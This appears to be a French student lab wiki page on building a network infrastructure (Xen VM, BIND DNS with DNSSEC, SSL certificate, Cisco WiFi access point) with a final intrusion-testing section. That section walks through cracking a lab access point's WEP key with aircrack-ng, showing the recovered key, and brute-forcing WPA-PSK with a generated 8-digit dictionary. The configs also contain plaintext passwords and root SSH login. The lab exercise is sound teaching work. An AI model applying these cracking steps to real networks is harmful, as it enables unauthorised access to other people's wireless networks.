TP sysres IMA2a5 2021/2022 G13 : Différence entre versions
(→Sécurisation du serveur DNS par DNSSEC) |
(→Sécurisation du serveur DNS par DNSSEC) |
||
Ligne 162 : | Ligne 162 : | ||
dnssec-enable yes | dnssec-enable yes | ||
− | - Créer un repertoire toad59.space.dnssec pour y génerer des clefs : | + | - Créer un repertoire '''toad59.space.dnssec''' pour y génerer des clefs : |
'''La clé asymétrique de signature de clefs de zone''' | '''La clé asymétrique de signature de clefs de zone''' | ||
Ligne 175 : | Ligne 175 : | ||
mv Ktoad59.site.+005+27570.key toad59.site-zsk.key | mv Ktoad59.site.+005+27570.key toad59.site-zsk.key | ||
mv Ktoad59.site.+005+27570.private toad59.site-zsk.private | mv Ktoad59.site.+005+27570.private toad59.site-zsk.private | ||
+ | |||
+ | - Inclure les clefs publiques dans dans le fichier db.toad59.site | ||
+ | $include /etc/bind/lulya.space.dnssec/toad59.site-ksk.key | ||
+ | $include /etc/bind/lulya.space.dnssec/toad59.site-zsk.key | ||
+ | |||
+ | - Signer les enregistrements à partir du répertoire '''toad59.space.dnssec''' | ||
+ | dnssec-signzone -o toad59.site -k toad59.site-ksk ../db.toad59.site toad59.site-zsk | ||
== Passerelle capbreton == | == Passerelle capbreton == |
Version du 19 novembre 2021 à 12:39
Sommaire
Installation de la machine virtuelle
Connexion sur le disque de virtualisation
su - ssh -4 capbreton.plil.info
Installation dans la machine virtuelle Xen
Création de la machine virtuelle :
xen-create-image --hostname=Toad --ip=193.48.57.173 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster
Veiller à noter le mot de passe de la MV à cette étape. Celui-ci peut-être retrouvé à l'aide de la commande :
tail -f /var/log/xen-tools/Toad.log
Vérifier la création de la MV en se rendant sur les répertoires:
ls /etc/xen ls /usr/local/xen
Pour les disques : configuration RAID 5 Administration de volume logique :
lvcreate -L1G -n Toad1 lvcreate -L1G -n Toad2 lvcreate -L1G -n Toad3 lvcreate -L1G -n Toad4
Les volumes logiques sont par défaut de 1GiB. Augmenter la taille des volumes logiques:
lvextend -L +9G /dev/virtual/Toad1 lvextend -L +9G /dev/virtual/Toad2 lvextend -L +9G /dev/virtual/Toad3 lvextend -L +9G /dev/virtual/Toad4
Vérifier avec :
lvdisplay
Créer un système de fichiers étendu :
mke2fs /dev/virtual/Toad1 mke2fs /dev/virtual/Toad2 mke2fs /dev/virtual/Toad3 mke2fs /dev/virtual/Toad4
Création et modification du fichier de configuration :
xen create /etc/xen/Toad.cfg vim Toad.cfg
Dans Networking, supprimer l'@ IP et définir :
bridge = IMA2a5
Pour prenndre en compte les disques créés dans la MV, dans disk, ajouter :
'phy:/dev/virtual/Toad1, xvda3, w' 'phy:/dev/virtual/Toad2, xvda4, w' 'phy:/dev/virtual/Toad3, xvda5, w' 'phy:/dev/virtual/Toad4, xvda6, w'
Lancer la MV avec la commande :
xen create /etc/xen/Toad.cfg
On peut vérifier que la MV est démarrée avec la commande :
xl list
Pour se connecter à la console de la MV :
xen console Toad
Avec login : root et password : celui qui a été noté au début.
Si besoin de changer le mot de passe :
passwd root
Configuration de la machine virtuelle
Installer les packages dont nous avons besoin :
apt-get update
Configuration réseau
Pour permettre l'accès à internet à ma machine virtuelle, je modifie le fichier suivant :
/etc/networks/interfaces
# The primary network interface auto eth0 iface eth0 inet6 auto iface eth0 inet static address 10.60.100.173/24 up ip address add dev eth0 193.48.57.173/32 ; ip route add default via 10.60.100.254 src 193.48.57.173 down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173
Configuration ssh
Pour permettre l'accès à ma machine virtuelle via ssh, je modifie le fichier suivant :
/etc/ssh/sshd_config
PermitRootLogin yes
Relancer le service ssh :
service ssh restart
Pour accéder à la machine virtuelle via ssh il faut desormais taper la commande suivante :
ssh@193.48.57.173
Configuration DNS
- Achat du nom de domaine via gandi.net : toad59.site
- Associer le nom de domaine à l'adresse ip dans gandi, dans l'onglet Glue Records --> Add
- Dans l'onglet Nameserver, sélectionner change puis : Nameserver1 : ns.toad59.site Nameserver2 : ns.gandi6.net
- Modifier le fichier /etc/bind/named.conf.options, qui gère les options de configuration du DNS :
options { directory "/var/cache/bind"; #dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
- Modifier le fichier de configuration /etc/bind/db.toad59.site
$TTL 3600 @ IN SOA ns.toad59.site. postmaster.toad59.site. ( 1 ; Version 1800 ; Refresh (30m) 600 ; Retry (10m) 3600 ; Expire (1h) 3600 ) ; Minimum TTL (1h) @ IN NS ns.toad59.site. @ IN NS ns6.gandi.net. ns IN A 193.48.57.173
- Modifier le fichier /etc/bind/named.conf.local pour déclarer les zones associées au domaine :
zone "toad59.site" { type master; file "etc/bind/db.toad59.site"; };
Sécurisation du site web
Il existe plusieurs façon de sécuriser le site web. Je choisis la méthode par mail.
- Créer une adresse mail via gandi.net, onglet Email : admin@toad59.site
- Accéder à l'adresse mail pour constater que le certificat a été reçu.
- Obtention d'un certificat via OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout toad59.site.key -out toad59.site.csr
Dans le champ common name, il est important de saisir : toad59.site
- Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr, généré à l'étape précédente.
Sécurisation du serveur DNS par DNSSEC
Il faut à présent sécuriser le serveur DNS en signant la zone correspondant à mon nom de domaine.
- Dé-commenter la ligne suivante dans le fichier named.conf.options :
dnssec-enable yes
- Créer un repertoire toad59.space.dnssec pour y génerer des clefs :
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE toad59.site
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE toad59.site
- Renommer les clefs :
mv Ktoad59.site.+005+26968.key toad59.site-ksk.key mv Ktoad59.site.+005+26968.private toad59.site-ksk.private mv Ktoad59.site.+005+27570.key toad59.site-zsk.key mv Ktoad59.site.+005+27570.private toad59.site-zsk.private
- Inclure les clefs publiques dans dans le fichier db.toad59.site
$include /etc/bind/lulya.space.dnssec/toad59.site-ksk.key $include /etc/bind/lulya.space.dnssec/toad59.site-zsk.key
- Signer les enregistrements à partir du répertoire toad59.space.dnssec
dnssec-signzone -o toad59.site -k toad59.site-ksk ../db.toad59.site toad59.site-zsk
Passerelle capbreton
Une passerelle doit être mise en place sur capbreton, pour relier les VM. Il faut modifier le fichier interfaces :
nano /etc/network/interfaces
On identifie les ports ethernet sur lesquels nous sommes câblés :
ethtool -p ether n
Avec n numéro de port.
Nous sommes câblés sur les ports suivants : - ether7 : fibré pour aller jusqu'au routeur 6509 - ether6 : fibré pour aller jusqu'au routeur 9200
Configurer la passerelle comme ci-dessous :
auto IMA2a5 iface IMA2a5 inet manual bridge_ports eth6 eth7 # Bridge for L3MRIT group #
Déconfigurer, puis configurer l'interface réseau :
ifdown IMA2a5 ifup IMAa5
Vérifier la configuration :
brctl show
Configuration du point d'accés wifi
Réinitialisation des paramètres de la borne wifi :
erase startup config reload
Configuration de base :
ap>enable ap#configure terminal
Configuration du nom d'hôte :
ap(config)#hostname SE2A5-AP1
Accès ssh :
SE2A5-AP1(config)#aaa new-model SE2A5-AP1(config)#username admin privilege 15 secret glopglop SE2A5-AP1(config)#ip domain-name plil.info SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048 SE2A5-AP1(config)#ip ssh version 2 SE2A5-AP1(config)#line vty 0 15 SE2A5-AP1(config-line)#transport input ssh SE2A5-AP1(config-line)#exit
Sécurisation des accès :
SE2A5-AP1(config)#service password-encryption SE2A5-AP1(config)#enable secret glopglop SE2A5-AP1(config)#banner motd #Restricted Access#
VLAN 173
aaa authentication login EAP_TOAD group RADIUS_TOAD radius-server host 193.48.57.173 auth-port 1812 acct-port 1813 key glopglop aaa group server radius RADIUS_TOAD server 193.48.57.173 auth-port 1812 acct-port 1813 exit dot11 ssid TOAD1 mbssid guest-mode vlan 173 authentication open eap EAP_TOAD authentication network-eap EAP_TOAD authentication key-management wpa exit interface dot11radio0.173 encapsulation dot1q 173 bridge-group 73 exit interface g0.173 encapsulation dot1q 173 bridge-group 73 exit interface dot11radio 0 no shutdown encryption vlan 173 mode ciphers aes-ccm tkip mbssid ssid TOAD1 exit
Configuration de la liaison routeur 3500 vers 9200
Afficher la liste des interfaces du routeur 3500 et leurs états :
sh ip interface brief
On constate que le port G0/39 est désactivé pour le moment. Il faut le relier au routeur 3500 via le VLAN 532.
Configuration :
configure t interface G0/39 switchport access vlan 532 switchport mode access
Tests d'intrusion
Cassage de clef WEP d'un point d'accès WiFi
- Brancher une clef wifi sur le PC
- Installer le paquet aircrack.ng
- On peut lister les interfaces disponibles, en activant le mode moniteur de la carte réseau :
airmon-ng
- Passer la carte WiFi en mode moniteur, espion du réseau sans fil :
airmon-ng start wlan0mon
wlan0mon est le nouveau nom de la carte réseau donné par défaut car le précédent est considéré comme trop long par la machine.
- Obtenir les trames WiFi sur tous les canaux :
airodump-ng --encrypt wep wlan0mon
- Noter le SSID de la machine à attaquer, ici cracotte03 : 04:DA:D2:9C:50:53
- Visulaiser les informations de cracotte03 :
airodump-ng --channel 3 --bssid 04:DA:D2:9C:50:53 wlan0mon
- Récupérer dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte03 :
airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:53 wlan0mon
J'attends qu'il y ai environ 30 000 trames de volées, ce processus prend un peu de temps.
- Lancer le décryptage de la clef WEP :
aircrack-ng lcrack-03.cap
Résultat :
[00:00:00] Tested 813 keys (got 74481 IVs) KB depth byte(vote) 0 0/ 17 F1(96512) E7(85504) BD(84992) 6F(84736) F2(83968) FA(83712) 12(83456) 0E(82688) C8(82176) 6A(81920) 70(81664) 11(81408) 95(81408) E9(81408) 75(81152) 1 0/ 1 8E(105472) 34(86016) B3(84480) 54(84224) 2A(83456) B9(83456) 87(82688) 06(82432) 64(82432) 65(82176) 21(81920) 8D(81664) 61(81408) 2F(81152) 3C(81152) 2 5/ 2 7E(83968) 0E(82432) BF(82432) A2(82176) 0A(81920) 9C(81920) A8(81664) DF(81664) E2(81664) A7(81408) B4(81408) 33(80896) 58(80896) 90(80640) 16(80384) 3 17/ 3 5B(80896) B2(80640) 5A(80384) B1(80384) C4(80384) F6(79616) 03(79360) 33(79360) DA(79360) 73(79104) 9E(79104) 30(78848) 86(78848) AD(78848) D6(78848) 4 0/ 1 71(107008) 8D(86528) 03(83712) 7A(83712) 5E(83200) AF(82944) 50(82688) CF(82688) 54(82432) C0(82432) 21(82176) BE(81920) CB(81920) 1A(81664) B5(81408) KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] Decrypted correctly: 100%
On constate que 813 clef ont été testées avant de trouver la bonne.
Cassage de mot de passe WPA-PSK
- Visualiser les interfaces
airodump-ng wlan0mon
- Noter le SSID de la machine à attaquer :
44:AD:D9:5F:87:02 -40 3 0 0 8 54e. WPA2 CCMP PSK kracotte03
- Coder un "dictionnaire" en C. On suppose que la clef WPA est un code de 8 chiffres :
vim dico.c
#include <stdio.h> int main(void){ int x = 0; for(x=0; x<=99999999; x++){ printf("%08d\n",x); } }
- Compiler dico.c :
gcc -Wall dico.c
- Executer dico.c :
./a.out | more
- Enregistrer le résultat du code dans un fichier txt :
./a.out > dico.txt
- Lancer le traitement de lcrack-03 par dico.txt :
aircrack-ng -w dico.txt lcrack-03